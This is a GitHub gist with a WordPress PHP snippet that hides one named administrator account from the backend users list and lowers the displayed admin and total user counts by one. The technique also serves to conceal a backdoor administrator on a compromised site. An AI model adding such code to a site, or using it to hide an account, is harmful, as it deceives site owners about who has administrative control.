Skip to content

Instantly share code, notes, and snippets.

@giacomolanzi
Last active April 17, 2024 13:25
Show Gist options
  • Save giacomolanzi/4a7b4430fbd598caa116a28d12637e45 to your computer and use it in GitHub Desktop.
Save giacomolanzi/4a7b4430fbd598caa116a28d12637e45 to your computer and use it in GitHub Desktop.
This code hide a user to others changing the list and the count of the users in backend.
<?php
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'xxxxxx') {
}
else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'xxxxxx'",$user_search->query_where);
}
}
//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment